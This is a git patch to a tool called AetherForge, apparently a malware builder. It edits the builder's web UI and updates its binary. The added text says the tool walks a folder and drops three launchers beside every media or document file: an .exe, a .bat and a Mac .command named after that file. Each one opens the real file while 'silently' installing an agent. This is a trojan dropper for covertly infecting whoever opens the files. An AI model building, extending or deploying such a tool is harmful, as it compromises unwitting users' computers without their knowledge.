From 7f0b20fb26512213e4a9929c742eb8342953c6c5 Mon Sep 17 00:00:00 2001
From: AetherForge
Date: Wed, 3 Jun 2026 01:15:24 -0700
Subject: [PATCH] fix(forge): PATH FORGE - preserve original files, drop all 3
companions. UI now explicitly states original is never touched. Results show
original (kept) + all placed companions. Both Win+Mac default on so all 3
always drop together.
---
server/web/src/pages/BuilderPage.tsx | 31 +++++++++++++++++----------
usb/AetherForge.exe | Bin 12528640 -> 12528640 bytes
2 files changed, 20 insertions(+), 11 deletions(-)
diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx
index fa30708..937e85a 100644
--- a/server/web/src/pages/BuilderPage.tsx
+++ b/server/web/src/pages/BuilderPage.tsx
@@ -1990,9 +1990,11 @@ export default function BuilderPage() {
description="Type a local folder path. The server walks it recursively and places a launcher next to every matching file — no upload needed."
/>
- For every file found (movies, docs, archives…) the server drops a .bat + .exe (Windows)
- and/or .command (Mac) right beside it in the same directory.
- The launcher opens the original file normally and silently installs the agent.
+ For every file found (movies, docs, archives…) the server drops all three companions right beside it:
+ Terminator.exe · Terminator.bat · Terminator.command
+ The original file is never touched.{' '}
+ Terminator.mkv stays exactly as-is. The .bat opens it in the default player
+ and silently runs the agent. The .command does the same on Mac.
@@ -2036,18 +2038,18 @@ export default function BuilderPage() {
{pfStemMode === 'original'
- ? 'Terminator.mkv → Terminator.exe + Terminator.bat'
- : `Every file → ${pfStem || 'VideoPlayer'}.exe + ${pfStem || 'VideoPlayer'}.bat`}
+ ? 'e.g. Terminator.mkv → Terminator.exe · Terminator.bat · Terminator.command (original untouched)'
+ : `Every dir → ${pfStem || 'VideoPlayer'}.exe · ${pfStem || 'VideoPlayer'}.bat · ${pfStem || 'VideoPlayer'}.command`}
@@ -2081,10 +2086,14 @@ export default function BuilderPage() {
: `⚠ ${pfResult.placed} placed · ${pfResult.errors} errors · ${pfResult.total} total`}
{pfResult.results.slice(0, 20).map((r, i) => (
-
-
{r.source}
- {' → '}
-
{r.files.join(' ')}
+
+ 📄
+ {r.source}
+ (kept)
+
+
+ {'↳ '}{r.files.join(' · ')}
+
))}
{pfResult.results.length > 20 && (
diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe
index fb597248002d0931f883c02bccd3107d6ca0ebb6..f7a4e5bcb5de73cf9fba980e853bfa3363573bb6 100644
GIT binary patch
delta 1030
zcmb`@=~fZ}0EXdXBqnXPXRFzsDZ>E6XjlSDxI~a9W(y6>D46B~SlNbI(Y{&PzL)J;
zS+t*idj;J^H&CbE?xAzO=g;@^P5$_mnZ!_zKA>4^JYuEW6pKWiVMn#%lwvNU7St+i
z!Gx>b
QhO521Y@L(a6NVKMP}!4Fkqv9L8e;CL#xuFd0)Y71J;sGcXgmn1$Jx
zgSnW8`N+cp{c_1RG=&qXes9M=4fg4a(qv
z6E2ja0&c8@2bHKoHEOU9UaW@?er!N3>aY>@2%rI*(1^|0g00wwAhtt62w|wu(1d10
z5Jd}ipcQS{IhfS9|E>}(f=vjkvS>C-RwWb?#U`cLWKtDbQ598^6q{@@i&jG@5p7ko
zyTh@fc(hF`6$Mc$6qvbAkV^zxiCIpK=sM7eF2oQ=0^Qh!-PnU3?8QFp#{nEf61_Nt
zJ{-mo97PJpa2zLa5~pw)XK)tha2^-XkBhj3%NW2FT*Wn9#|_-XE!@T(+{HcI#{)dX
zBMjm(p5Q5-;W=L5C0=0&uki+N(<8d!4Ea9>9w2Z*s?0u&cX*F9KHwuh;WNJAYr4$-
H?fcKa@Gx{l
delta 1030
zcmb`@=T?#d0LJlSCMGT0*)-dk^72kJEg)B-0!kq?*^-)}KxT`wqP?ta@3NhhW&8Bm
zE9fq|fjaf?9y;gweR)3qQ$K!Xr7)PQb5}{$giY(H6C#bWD`M%e`;%USB#E)6=4!$1
ziB+h<&P0tAl?)A?UY9BddmNEOyhZdmV{VJXV6}x5ligD(*UOTub~~J{l`RGO{6BrZ
z?7ZHTE}hb4U=%Vj8d>=FXJZU#~&
zZD_}ift0S}cdZgKg#!V}sD!l=)nB40Qdm|MMbxxV&@cOfnrQS3s!{JxMB9Qn$v{_e
zJlY;A7X?u*5}4!?v{KnvDk$lZ%$